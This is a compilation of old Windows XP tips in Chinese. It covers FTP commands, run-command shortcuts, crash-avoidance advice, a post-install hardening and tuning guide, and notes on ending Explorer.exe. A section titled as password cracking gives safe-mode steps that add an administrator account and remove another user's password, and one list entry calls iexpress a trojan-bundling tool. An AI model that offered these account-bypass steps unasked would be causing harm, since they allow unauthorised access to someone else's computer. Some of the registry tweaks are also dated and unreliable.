35.modtime file-name：显示远程主机文件的最后修改时间。 
36.mput local-file：将多个文件传输至远程主机。 

37.newer file-name： 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近，则重传该文件。 
38.nlist[remote-dir][local-file]：显示远程主机目录的文件清单，并存入本地硬盘的local-file。 

39.nmap[inpattern outpattern]：设置文件名映射机制， 使得文件传输时，文件中的某些字符相互转换， 如：nmap $1.$2.$3[$1，$2].[$2，$3]，则传输文件a1.a2.a3时，文件名变为a1，a2。 该命令特别适用于远程主机为非UNIX机的情况。 
40.ntrans[inchars[outchars]]：设置文件名字符的翻译机制，如ntrans1R，则文件名LLL将变为RRR。 

41.open host[port]：建立指定ftp服务器连接，可指定连接端口。 
42.passive：进入被动传输方式。 

43.prompt：设置多个文件传输时的交互提示。 
44.proxy ftp-cmd：在次要控制连接中，执行一条ftp命令， 该命令允许连接两个ftp服务器，以在两个服务器间传输文件。第一条ftp命令必须为open，以首先建立两个服务器间的连接。 
45.put local-file[remote-file]：将本地文件local-file传送至远程主机。 
46.pwd：显示远程主机的当前工作目录。 

47.quit：同bye，退出ftp会话。 
48.quote arg1，arg2...：将参数逐字发至远程ftp服务器，如：quote syst. 

49.recv remote-file[local-file]：同get。 
50.reget remote-file[local-file]：类似于get， 但若local-file存在，则从上次传输中断处续传。 

51.rhelp[cmd-name]：请求获得远程主机的帮助。 
52.rstatus[file-name]：若未指定文件名，则显示远程主机的状态， 否则显示文件状态。 

53.rename[from][to]：更改远程主机文件名。 
54.reset：清除回答队列。 

55.restart marker：从指定的标志marker处，重新开始get或put，如：restart 130。 
56.rmdir dir-name：删除远程主机目录。 

57.runique：设置文件名只一性存储，若文件存在，则在原文件后加后缀.1， .2等。 
58.send local-file[remote-file]：同put。 

59.sendport：设置PORT命令的使用。 
60.site arg1，arg2...：将参数作为SITE命令逐字发送至远程ftp主机。 

61.size file-name：显示远程主机文件大小，如：site idle 7200。 
62.status：显示当前ftp状态。www.jz5u.com 

63.struct[struct-name]：将文件传输结构设置为struct-name， 缺省时使用stream结构。 
64.sunique：将远程主机文件名存储设置为只一(与runique对应)。 

65.system：显示远程主机的操作系统类型。 
66.tenex：将文件传输类型设置为TENEX机的所需的类型。 

67.tick：设置传输时的字节计数器。 
68.trace：设置包跟踪。 

69.type[type-name]：设置文件传输类型为type-name，缺省为ascii，如:type binary，设置二进制传输方式。 
70.umask[newmask]：将远程服务器的缺省umask设置为newmask，如：umask 3 

71.user user-name[password][account]：向远程主机表明自己的身份，需要口令时，必须输入口令，如：user anonymous my@email。 
72.verbose：同命令行的-v参数，即设置详尽报告方式，ftp 服务器的所有响 应都将显示给用户，缺省为on. 

73.?[cmd]：同help. 

【11】 

7：计算机运行命令全集 winver---------检查Windows版本 
wmimgmt.msc----打开windows管理体系结构 
wupdmgr--------windows更新程序 
winver---------检查Windows版本 
wmimgmt.msc----打开windows管理体系结构 
wupdmgr--------windows更新程序 
wscript--------windows脚本宿主设置 
write----------写字板winmsd-----系统信息 
wiaacmgr-------扫描仪和照相机向导 
winchat--------XP自带局域网聊天 
mem.exe--------显示内存使用情况 
Msconfig.exe---系统配置实用程序 
mplayer2-------简易widnows media player 
mspaint--------画图板 
mstsc----------远程桌面连接 
mplayer2-------媒体播放机 
magnify--------放大镜实用程序 
mmc------------打开控制台 
mobsync--------同步命令 
dxdiag---------检查DirectX信息 
drwtsn32------ 系统医生 
devmgmt.msc--- 设备管理器 
dfrg.msc-------磁盘碎片整理程序 
diskmgmt.msc---磁盘管理实用程序 
dcomcnfg-------打开系统组件服务 
ddeshare-------打开DDE共享设置 
dvdplay--------DVD播放器 
net stop messenger-----停止信使服务 
net start messenger----开始信使服务 
notepad--------打开记事本 
nslookup-------网络管理的工具向导 
ntbackup-------系统备份和还原 
narrator-------屏幕"讲述人" 
ntmsmgr.msc----移动存储管理器 
ntmsoprq.msc---移动存储管理员操作请求 
netstat -an----(TC)命令检查接口 
syncapp--------创建一个公文包 
sysedit--------系统配置编辑器 
sigverif-------文件签名验证程序 
sndrec32-------录音机 
shrpubw--------创建共享文件夹 
secpol.msc-----本地安全策略 
syskey---------系统加密，一旦加密就不能解开，保护windows xp系统的双重密码 
services.msc---本地服务设置 
Sndvol32-------音量控制程序 
sfc.exe--------系统文件检查器 
sfc /scannow---windows文件保护 
tsshutdn-------60秒倒计时关机命令 
tourstart------xp简介（安装完成后出现的漫游xp程序） 
taskmgr--------任务管理器 
eventvwr-------事件查看器 
eudcedit-------造字程序 
explorer-------打开资源管理器 
packager-------对象包装程序 
perfmon.msc----计算机性能监测程序 
progman--------程序管理器 
regedit.exe----注册表 
rsop.msc-------组策略结果集 
regedt32-------注册表编辑器 
rononce -p ----15秒关机 
regsvr32 /u *.dll----停止dll文件运行 
regsvr32 /u zipfldr.dll------取消ZIP支持 
cmd.exe--------CMD命令提示符 
chkdsk.exe-----Chkdsk磁盘检查 
certmgr.msc----证书管理实用程序 
calc-----------启动计算器 
charmap--------启动字符映射表 
cliconfg-------SQL SERVER 客户端网络实用程序 
Clipbrd--------剪贴板查看器 
conf-----------启动netmeeting 
compmgmt.msc---计算机管理 
cleanmgr-------**整理 
ciadv.msc------索引服务程序 
osk------------打开屏幕键盘 
odbcad32-------ODBC数据源管理器 
oobe/msoobe /a----检查XP是否激活 
lusrmgr.msc----本机用户和组 
logoff---------注销命令 
iexpress-------木马捆绑工具，系统自带 
Nslookup-------IP地址侦测器 
fsmgmt.msc-----共享文件夹管理器 
utilman--------辅助工具管理器 
gpedit.msc-----组策略 

1.CPU、显示卡等配件不要超频过高，要注意温度，否则，在启动或运行时会莫名其妙地重启或死机。 2.在更换电脑配件时，一定要插好，因为配件接触不良会引起系统死机。 3.BIOS设置要恰当，虽然建议将BIOS设置为最优，但所谓最优并不是最好的，有时最优的设置反倒会引起启动或者运行死机。 4.最好配备稳压电源，以免电压不稳引起死机。 5.如果有条件的话，加装一个UPS，使电脑在停电后不会造成死机。 6.对来历不明的软盘和光盘，不要轻易使用，对E－mail中所附的软件，要用KV300、瑞星等杀毒软件检查后再使用，以免传染病毒后，是系统死机。 7.在应用软件未正常结束时，别关闭电源，否则会造成系统文件损坏或丢失，引起自动启动或者运行中死机。对于Windows98/2000/NT等系统来说，这点非常重要。 8.在安装应用软件当中，若出现提示对话框“是否覆盖文件”，最好选择不要覆盖。因为通常当前系统文件是最好的，不能根据时间的先后来决定覆盖文件(除非你对文件的时间很在意)。 9.在卸载软件时，不要删除共享文件，因为某些共享文件可能被系统或者其他程序使用，一旦删除这些文件，会使应用软件无法启动而死机，或者出现系统运行死机。 10.设置硬件设备时，最好检查有无保留中断号(IRQ)，不要让其他设备使用该中断号，否则引起IRQ冲突，从而引起系统死机。 11.在加载某些软件时，要注意先后次序，由于有些软件编程不规范，在运行是不能排在第一，而要放在最后运行，这样才不会引起系统管理的混乱。 12.在运行大型应用软件时(如OFFICE 2000)，不要在运行状态下退出以前运行的程序，否则会引起整个Windows98系统的崩溃。 13.在内存较小的情况下(如4MB－16MB)，最好不要运行占用内存较大的应用程序，否则在运行时容易出现死机。建议在运行这些程序时应及时保存当前正在使用的文件。 14.对于系统文件或重要文件，最好使用隐含属性，这样才不致于因误操作而删除或者覆盖这些文件。 15.修改硬盘主引导记录时，最好先保存原来的记录，防止因修改失败而无法恢复原来的硬盘主引导记录。 16.最好少用软件的测试版，因为测试版在某方面不够稳定，在使用后会使系统无法启动。 17.在Windows95/98中尽量不要运行16位应用程序，因为16位的应用程序会与Windows中的32位应用程序产生冲突，从而引起死机或无法启动。 18.在升级BIOS之前，应确定所升级的BIOS版本，同时应先保存一下原先的版本，以免升级错误而使系统无法启动。 19.尽量不要使用盗版的软件，因为这些软件里隐藏着大量病毒，一旦执行，会自动修改你的系统，使系统在运行中出现死机。 20.在机箱中，可能蕴藏了大量的灰尘，灰尘若接触了配件的电路，会使系统不稳定或死机。 21.在执行磁盘碎片整理的时后，不要运行大型应用软件，否则引起死机。 22.用杀毒软件检查硬盘期间，不要运行其它的应用程序，以防止系统死机。 　 23.在上网的时候，不要一次打开太多的浏览窗口，导致资源不足，引起死机。 　 24.在关闭计算机的时候，不要直接使用机箱中的电源按钮，因为直接使用电源按钮会引起文件的丢失，使下次不能正常启动，从而造成系统死机。 　 对经常死机朋友，请试试以上方法，相信会对大家有一定的帮助的，有时候要针对具体情况来采取不同的对策，切不可生搬硬套哦!

 

玩电脑就免不了重装系统，这对于电脑高手来说，是再轻松不过的事情了，可是你知道电脑高手最头痛的的是什么时候吗？是安装完了系统以后要做的事情，这可马虎不得，因为一旦做得不好，就会导致前功尽弃，甚至有可能会造成数据丢失或者再次重装系统。 一、电脑安全与防护 安装完系统的第一步应该是做好电脑的安全防护，比如修改管理员的用户名和口令、关掉无关的共享、打上关键补丁、安装防病毒软件并升级病毒库、关掉无用的共享、关闭危险的电脑端口、禁止TCP/IP上的NetBIOS等。 1.关闭默认共享 Windows安装后，会创建一些隐藏共享，不是很安全。我们可以通过下面的方法来切断共享：按下Win+R，输入gpedit.msc，在打开窗口中逐步展开“用户配置→Windows设置→脚本(登录/注销)”文件夹，在对应“脚本(登录/注销)”文件夹右边的子窗口中，双击“登录”选项，在弹出的窗口中，单击“添加”命令，将事先设置好的删除默认共享的批处理文件选中，例如这里的脚本文件为C盘中的“delshare.bat”，如图1所示，最后单击“确定”按钮，就能删除Windows默认共享。注意，C盘中的“delshare.bat”必须自己事先创建，其中的代码为： @echo off net share C$/del net share d$/del netshare ipc$/del net share admin$ /del 完成上述设置后，重新启动系统，就能自动切断Windows 2003的默认共享通道了，如果你有更多硬盘，请在net share d$/del下自行添加，如net share e$/del、net share f$/del等。 2.不要急着接入网络 在安装完成Windows后，不要立即把服务器接入网络，因为这时的服务器还没有打上各种补丁，存在各种漏洞，非常容易感染病毒和被入侵。此时要加上冲击波和震撼波补丁后并重新启动再联入互联网。 小提示：补丁的安装应该在所有应用程序安装完之后，因为补丁程序往往要替换或修改某些系统文件，如果先安装补丁再安装应用程序有可能导致补丁不能起到应有的效果。如IIS的HotFix要求每次更改IIS的配置时都需要重新安装。 3.禁止建立空连接 默认情况下，任何用户可通过空连接连上服务器，枚举账号并猜测密码。可以通过以下两种方法禁止建立空连接。 （1）修改[Local_Machine\System\CurrentControlSet\Control\LSA]的键RestrictAnonymous的值改成1，如图2所示。 （2）修改Windows 2000的本地安全策略，设置“本地安全策略→本地策略→选项”中的RestrictAnonymous（匿名连接的额外限制）为“不容许枚举SAM账号和共享”。 4.可考虑打上SP2 最新的补丁是Windows XP Service Pack 2 简体中文版，但也不是所有的人都需要打上这个补丁。 5.切断自动保存通道 Windows系统一旦在访问程序出错时，系统中的Dr.Watson程序会将出错时的一些个人隐私信息自动保存下来，这些隐私信息往往是黑客最喜欢“盯梢”的；为了避免泄露隐私信息，应该切断Dr.Watson程序的自动保存功能： 打开“注册表编辑器”，展开[HKEY_local_machine\software\Microsof\WindowsNT\CurrentVersion\AeDebug]键，在对应AeDebug子键的右边，双击Auto值，将“数值数据”设为“0”。然后进入系统的“DrWatson文件夹”中（位于)，如图3所示，将其中的User.dmp、Drwtsn32.log删除掉就可以了。 6.防止文件名欺骗 设置以下选项可防止文件名欺骗，如防止以.txt或.exe为后缀的恶意文件被显示为.txt文件，从而使人大意打开该文件: 双击“我的电脑→工具→文件夹选项→查看”，选择“显示所有文件和文件夹”属性设置，去掉“隐藏已知文件类型扩展名”属性设置。 二、驱动程序备份与硬件优化 打完补丁和做好各种安全防范后，下面要开始做的工作就是安装各种驱动程序了。打上主板驱动，确认无误，将驱动程序备份下来，备用。 1.设定CPU 的 L2 Cache，加快整体效能 打开“注册表编辑器”，展开[HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/SessionManager/MemoryManagement]，在右边窗口将SecondLevelDataCache改为CPU L2 Cache一样的十进制数值（例如P4 1.6G 的 L2 Cache 为 256Kb，则改为十进制数值 256），如图4所示。 2.启用DMA传输模式 启用DMA模式之后，计算机周边设备（主要指硬盘）即可直接与内存交换数据，这样能加快硬盘读写速度，提高数据传输速率，方法是： 选择“控制面板→系统/硬件，打开“设备管理器”，其中“IDE控制器”有两项Primary IDE Channel及Secondary IDE Channel，依次进入“属性→高级设置”，该对话框会列出目前IDE接口所连接设备的传输模式，单击列表按钮将“传输模式”设置为“DMA(若可用)”，如图5所示。 3.设置虚拟内存 除了CPU及硬盘，内存也可以影响XP的运行性能，因此，设定好虚拟内存也可以提高XP的运行速度。设置方法： 进入“控制面板→系统/高级/性能/设置，在“性能选项”的“高级”设置窗口，首先将“处理器计划”及“内存使用”都调整为“程序”，这样系统会给前台程序更多资源、使之运行更快。单击“更改”按钮进入虚拟内存设置窗口，将虚拟内存值设为物理内存的2.5倍，将初始大小和最大值值设为一样。 若你的内存大于256M，建议禁用分页文件；如果内存低于256M，请勿禁用分页文件，否则会导致系统崩溃或无法再启动XP！ 三、系统性能优化 只要我们按照下面的步骤优化XP，把系统调整到最佳状态，就可以大幅度提高系统运行的速度。 1.关闭错误报告 单击“开始→设置→控制面板”，打开“控制面板”，双击“系统”，单击“高级”标签，然后单击“错误报告”按钮，选择“禁用错误报告”，并且取消下面的“但在发生严重错误时通知我”的勾选，依次单击“确定”按钮退出即可，如图6所示！ 2.减轻启动时加载的任务 许多软件在XP启动时都会自动加载，使系统的启动时间延长，应该取消软件的自动加载。选择“开始”选单的“运行”，键入“msconfig”启动“系统配置实用程序”，进入“启动”标签，其中列出了系统启动时加载的项目及来源，如果不希望它自动加载，清除项目前的复选框即可。 3.修改注册表来减少预读取，减少进度条等待时间 打开“注册表编辑器”，展开注册表[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters]，有一个键EnablePrefetcher把它的数值改为“1”就可以了。另外不常更换硬件的朋友可以在系统属性中把总线设备上面的设备类型设置为none（无）。 4.取消Windows XP的ZIP支持 单击开始→运行，输入“regsvr32 /u zipfldr.dll”回车，如图7所示，出现提示窗口“zipfldr.dll中的Dll UnrgisterServer成功”即可取消Windows XP的ZIP文件夹支持。 5.快速浏览局域网络的共享 通常情况下，Windows XP在连接其它计算机时，会全面检查对方机子上所有预定的任务，这个检查会让你等上30秒钟或更多时间。去掉的方法是删除注册表[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\Explorer\RemoteComputer\NameSpace]键值下的键，重启计算机后Windows XP就不再检查预定任务了。 6.关掉多余的服务 单击“开始→设置/控制面板，双击“管理工具→服务，右击要配置的服务，单击“属性”，在“常规”选项卡上选择“自动”、“手动”或“禁用”。实际配置时，选择“手动”或者“禁用”都可以关闭该服务，推荐使用手动功能，以便可随时启动一些临时需要的服务。 7. 减少多重启动时的等待时间 当Windows XP与其它Windows共存时，每次启动都会显示启动菜单，关闭启动菜单的方法是：单击“控制面板→系统→属性→高级”单击“启动和故障恢复”下面的“设置”按钮，进入“设置”窗口，选择启动时的默认操作系统为Windows XP，显示启动菜单的时间为0；如图8所示，如果暂时不用或隐藏另一个操作系统，则取消“显示操作系统列表时间”前的勾选。 8.Windows XP实现自动关机 如果XP不能自动关机，则单击“控制面板→电源选项→高级电源管理”，给“启用高级电源管理”打钩，如果还不行，那应该是主板BIOS的问题了。 9.优化XP的界面 XP安装后任务栏、开始菜单、桌面背景、窗口、按钮等都采用了XP的豪华风格，非常浪费系统资源，建议恢复Windows经典的界面：右键桌面空白处，在弹出选单单击“属性”进入显示属性设置窗口，将“主题、外观”都设置为“Windows经典”，将桌面背景设置为“无”，按确定保存退出。右击任务栏，选择“属性”，“任务栏”标签中去掉“分组相似任务栏按钮”前的勾；“开始菜单”标签中选择“经典开始菜单”。 10.关闭远程桌面 单击“我的电脑→属性/远程，在“远程桌面”下，将“允许用户远程连接到这台计算机”勾去掉。 11.关闭系统还原 默认情况下，XP启用了系统还原功能，每个驱动器约被占用高达4%～12%的硬盘空间，并且系统还原的监视系统还会自动创建还原点，在后台运行就会占用较多的系统资源，应该关闭之：右击“我的电脑”中的“属性”，单击“系统属性→系统还原，将“在所有驱动器上关闭系统还原”置为选中状态。也可关闭不重要分区的系统还原，如果考虑系统安全，则不要关闭还原功能。 12.少用视觉效果 单击“控制面板→系统，选择“系统属性”中的“高级”标签进入“性能选项”界面，其中有很多的“视觉效果”，选中的效果越多，占用的系统资源就越多，因此我们选定“调整为最佳性能”项，如图9所示，以便关闭淡入淡出、平滑滚动、滑动打开等所有视觉效果。 13.关闭系统属性中的特效 这可是简单有效的提速良方。单击“开始→控制面板→系统→高级→性能→设置”，在视觉效果中，设置为调整为最佳性能→确定即可。这样桌面就会和Windows 2000很相似的，我还是挺喜欢XP的蓝色窗口，所以在“在窗口和按钮上使用视觉样式”打上勾，这样既能看到漂亮的蓝色界面，又可以加快速度。 14.加快菜单显示速度 单击“开始→运行，键入Regedit，进入[HKEY_CURRENT_USER\Control Panel\Desktop]，将MenuShowDelay的值改为0（如觉得不适应可改为200），重新开机便生效。修改后XP的开始选单、甚至应用软件的选单显示速度都会明显加快。 15.加快XP关闭程序的速度 单击“开始→运行，键入Regedit，将 HKEY_CURRENT_USER\Control Panel\Desktop\WaitToKillAppTimeout 改为 1000，即关闭程序时仅等待1秒；将键值 HungAppTimeout改为200，表示程序出错时等待0.5秒；将HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\WaitToKillServiceTimeout 设为1000或更小。 让系统自动关闭停止回应的程序，方法：将HKEY_CURRENT_USER\Control Panel\Desktop\ AutoEndTasks 值设为 1，重启电脑后即可生效。 16.关闭XP内设的刻盘功能 默认情况下，XP开启了内设的刻盘功能，该功能可以加快Nero 刻录软件的处理速度，如果不用此功能可以关闭之：单击“控制面板→管理工具→服务”，双击“IMAPI CD-Burning COM Service”，如图10所示，将“启动类型”改为“手动”或“已禁用”。 17.改变图片浏览缩略图的大小与图像品质 Windows XP基层了Windows 2000的图片浏览缩略图功能，为我们查看文件夹中的图片提供了方便。我们可以通过修改注册表中相关的项来改变缩略图的大小，从而在一个页面中显示更多缩略图。方法如下：在“开始→运行”中键入Regedit，打开“注册表编辑器”，展开分支[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer]，在右侧窗口中新建一个名为“ThumbnailSize”的DWORD值，它的值可以从32到256(十进制)，建议选择50(默认值为100)，这样就可以减小缩略图，使得在同一页面中可以显示更多的缩略图。退出“注册表编辑器”后我们马上可以看到效果。在对预览效果要求不高的情况下，此举可以大大方便我们的查找工作。 采用缩略图方式查看文件不可避免地要占用磁盘空间和内存，我们可以通过改变缩略图的图像品质来缓解磁盘和内存的压力。同样是在该注册表分支的右侧窗口中添加一个名为ThumbnailQuality的DWORD值，数值设为50到100(十进制)之间，建议设为50。另外，如果在“我的电脑”中单击“查看→缩略图”，并同时按住Shift键。这样出现的缩略图下方就不会显示文件名了。若要再次显示文件名，只须先选择其他查看方法，然后再选择“缩略图”方式即可。 18.可考虑彻底禁用Windows XP的缩略图功能 内存不富裕的用户来说，缩略图功能有点雪上加霜，可以禁用缩略图功能！打开“注册表编辑器”，展开分支[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]，在右侧窗口中找到“ClassicViewState”项，将它的值改为1，如图11所示。然后打开“资源管理器”，单击“工具→文件夹选项”，进入“查看”选项卡，在“高级设置”栏中选择“不缓存缩略图”项即可。 四、安装必备软件 这时候，我们应该开始必备软件了，比如WinRAR、WinZIP、邮件收发软件…… 五、减肥瘦身，为系统克隆做准备 1.删除新设备文件 若确认系统不会再加入新设备，则可以把目录内的文件予以删除或设定大小，以释放空间。 2.卸载不常用组件 用记事本修改<%windir%\inf\sysoc.inf>，用“查找/替换”功能，在查找框中输入“,hide”，全部替换为空。这样，就把所有的“,hide”都去掉了，存盘退出后再运行“添加/删除程序”，就会看见“添加/删除 Windows 组件”中多出不少选项，删除掉游戏等不用的东西。 3.删除不用的文件 驱动程序备份Driver.cab：在<%windir%\Driver cache\i386>下，约70MB，可以删除掉； 帮助文件：在<%windir%\Help>下，约40MB，可删除； 不用的输入法：到<%windir%\ime>下删除不要的输入法，如chtime、imjp8_1、imkr6_1（分别是繁体中文、日文、韩文）目录，如图12所示。 4.重定向系统相关文件夹 把临时文件放到启动盘外、移动“我的文档”文件夹、将IE临时文件夹移到其他分区。 六、备份整个系统 1.Ghost备份系统分区 费了这么长时间优化清理系统，要是不把成果保存起来，岂不亏死了？Ghost是不二的选择。 2.备份分区表和引导区数据 在KV等杀毒软件里，都附带了创建紧急恢复盘的功能，其实是备份分区表和引导区数据，记住一定要备份一个分区表，尤其是使用Ghost的用户。

 

密码破解（适用初级学习者）
>如用戶忘記登入密碼可按下列方法解決 >1. 在電腦啟動時按〔F8〕及選〔Safe Mode With Command Prompt〕 >2. 選 〔Administrator〕後便會跳出〔Command Prompt〕的窗口 >3. 用〔Net〕的命令增加一個用戶，例：增加一個用戶名為 alanhkg888，命令語法如下 >net user alanhkg888 /add >4. 將新增用戶提升至 Administrator 的權力，例：提升剛才增加用戶 alanhkg888 的權力，命令語法如下 >net localgroup administrators alanhkg888 /add >5. 完成上列步驟後重新啟動電腦，在啟動畫面上便增加了一個用戶 alanhkg888 了，選 alanhkg888 進入 >6. 登入後在〔控制台〕→〔使用者帳戶〕→選忘記密碼的用戶，然後選〔移除密碼〕後〔等出〕 >7. 在登入畫面中選原來的用戶便可不需密碼情況下等入 (因已移除了) >8. 刪除剛才新增的用戶，在〔控制台〕→〔使用者帳戶〕→選〔alanhkg888〕，然後選〔移除帳戶〕便可 >*不適用於忘記安裝時所設定〔administrator〕的密碼  

     凡是Windows系列的操作系统，运行时都会启动一个名为Explorer.exe的进程。这个进程主要负责显示系统桌面上的图标以及任务栏，它在不同的系统中有不同的妙用。

　　Windows 9x中的应用

　　在Windows 9x中，这个进程是运行系统时所必需的。如果用“结束任务”的方法来结束Explorer.exe进程，系统就会刷新桌面，并更新注册表。所以，我们也可以利用此方法来快速更新注册表。方法如下：

　　按下Ctrl+Alt+Del组合键，出现“结束任务”对话框。在该对话框中选择“Explorer”选项，然后单击“结束任务”按钮，将出现“关闭Windows”对话框。单击“否”按钮，系统过一会儿将出现另一个对话框，告诉你该程序没有响应，询问是否结束任务。单击“结束任务”按钮，则更新注册表并返回Windows 9x系统环境中。这比起烦琐的重新启动过程要方便多了？

　　Windows 2000/XP中的应用

    在Windows 2000/XP和其他Windows NT内核的系统中，Explorer.exe进程并不是系统运行时所必需的，所以可以用任务管理器来结束它，并不影响系统的正常工作。打开你需要运行的程序，如记事本。然后右击任务栏，选择“任务管理器”，选中“进程”选项卡，在窗口中选择Explorer.exe进程，单击“结束进程”按钮，，接下来桌面上除了壁纸(活动桌面Active Desktop的壁纸除外)，所有图标和任务栏都消失了。此时你仍可以像平常一样操作一切软件。

    如果你想运行其他软件，但此时桌面上空无一物，怎么办？别着急，下面有两种可以巧妙地打开其他软件：

　　第一种方法：按下Ctrl+Alt+Del组合键，出现“Windows安全”对话框，单击“任务管理器”按钮(或是直接按下Ctrl+Shift+Esc组合键)，在任务管理器窗口中选中“应用程序”选项卡，单击“新任务”，在弹出的“创建新任务”的对话框中，输入你想要打开的软件的路径和名称即可。

　　你还可以在正在运行的软件上，选择“文件→打开”，在“打开”对话框中，点击“文件类型”下拉列表，选择“所有文件”，再浏览到你想打开的软件，右击它，在快捷菜单中选择“打开”命令，就可以启动你需要的软件了。注意，此时不能够通过单击“打开”按钮来打开软件，此种方法适用于大多数软件，Office系列除外。
通过结束Explorer.exe进程，还可以减少4520KB左右的系统已使用内存，无疑会加快系统的运行速度，为资源紧张的用户腾出了宝贵的空间。

　　提示：重新启动Explorer.exe进程后，有些软件在任务栏系统托盘的小图标会消息，但该软件还是在正常运行当中。如果觉得有些不方便，可以再次打开该软件来显示小图标。